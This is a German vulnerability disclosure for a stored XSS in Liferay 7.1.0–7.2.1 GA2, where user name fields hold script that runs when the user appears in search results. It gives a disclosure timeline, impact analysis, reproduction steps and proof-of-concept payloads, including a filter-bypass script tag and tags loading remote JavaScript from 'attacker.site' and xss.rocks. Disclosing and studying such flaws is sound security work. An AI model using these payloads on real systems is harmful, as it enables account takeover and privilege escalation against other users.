Authentifiziertes gespeichertes XSS in LifeRay 7.2.1 GA2 über MyAccountPortlet, ausgeführt durch Suchergebnisse

In LifeRay Version 7.1.0 bis 7.2.1 GA2 sind die Felder Vorname, Zweiter Name und Nachname von Benutzerkonten anfällig für ein gespeichertes XSS-Problem. Jeder Benutzer kann diese Felder mit einem bestimmten XSS-Payload modifizieren, der in der Datenbank gespeichert wird und den Benutzer 'infiziert'. Der Payload wird dann gerendert, wenn ein Benutzer die Suchfunktion verwendet, um nach anderen Benutzern zu suchen. Wenn der infizierte Benutzer als Suchergebnis angezeigt wird, wird der XSS-Payload ausgeführt.

• Autor/Forscher: Casey Erdmann
• Entdeckungsdatum: 10/17/2019
• Zuletzt überarbeitet: 10/05/2020
• Private Offenlegung: 10/18/2019
• Öffentliche Offenlegung: 01/27/2020 (Blogbeitrag)
• Behobene Version: 01/30/2020 Liferay Portal 7.3.0 GA1
• Proof-of-Concept-Veröffentlichung: 10/05/2020

Auswirkungen

Diese Schwachstelle ermöglicht es einem Angreifer, beliebigen Code im Kontext jedes Benutzers auszuführen, der den XSS-Payload über die Suche auslöst. In der Praxis kann dies zu einer Rechteausweitung von einem nicht privilegierten Benutzer zu einem administrativen Benutzer sowie zu lateralem Movement führen, indem andere Konten übernommen werden. Darüber hinaus kann alles, was über JavaScript ausgeführt werden kann, im Kontext eines anderen Benutzers ausgenutzt werden.

Wie Sie im Proof of Concept (PoC) sehen werden, ist dies weit offen, da der Angreifer in einem Standardkontext problemlos externe Skripte laden kann.

Die meisten wichtigen Session-Cookies sind als HTTPOnly gekennzeichnet, was einfache Session-Hijacking-Techniken größtenteils verhindert. Allerdings ist zu beachten, dass Benutzer, die die Seite mit älteren Browsern betrachten, durch XST-Angriffe noch stärker betroffen sind.

Da Administratoren Gogo-Shell- und Groovy-Skript-Befehle ausführen können, ist es möglicherweise auch möglich, diesen Exploit mit diesen normalerweise vorgesehenen Funktionen zu verketten, um von einem nicht privilegierten Benutzer aus eine unbeabsichtigte RCE auf dem Hostsystem zu erlangen.

Schritte zur Reproduktion

Damit diese Schwachstelle ausgelöst werden kann, müssen zwei Bedingungen erfüllt sein:

1. Sie müssen Zugriff auf ein Benutzerkonto haben, bei dem Sie die Felder Vorname, Zweiter Name oder Nachname ändern können.
2. Ihr Benutzer muss in LifeRay durchsuchbar sein. Normalerweise bedeutet das, dass er zu einer Site hinzugefügt werden muss. Standardmäßig kann ein Benutzer sich selbst zur Basis-Site hinzufügen, was bedeutet, dass er sich ohne weitere Autorisierung durchsuchbar machen kann.

Sobald diese Bedingungen erfüllt sind, können die folgenden Schritte zur Ausnutzung der Schwachstelle befolgt werden:

1. Melden Sie sich als der Benutzer an, auf den Sie Zugriff haben
2. Navigieren Sie zum Abschnitt Kontoeinstellungen
   • Klicken Sie auf das Profilsymbol > Kontoeinstellungen
   • URL sollte etwa so aussehen: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. Ändern Sie entweder die Felder Vorname, Zweiter Name oder Nachname im Formular mit Ihrem XSS-Payload (siehe Beispiel-PoCs unten) und klicken Sie auf Speichern
4. Wenn Sie sich noch nicht in einer Site befinden, können Sie einer beitreten, indem Sie zu http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive navigieren, auf das Symbol mit den drei Punkten auf der rechten Seite klicken und Beitreten auswählen.
5. Suchen Sie nach Ihrem Benutzer, um den XSS-Payload auszulösen: http://mysite.com/web/guest/search?q=<my user>
   • Zum Testen, um die Auswirkungen auf einen anderen Benutzer zu demonstrieren:
     • Melden Sie sich als ein zweiter Benutzer an, suchen Sie nach dem 'infizierten Benutzer', und der XSS-Payload wird ebenfalls in dessen Kontext ausgeführt.

PoC Einfacher Alert

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC Externes Skript und Filterumgehung

• <SCRIPT SRC="//attacker.site/payload.js">
• Versuchen Sie eine Demo mit xss.rocks!
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

Berichtsversion 4.0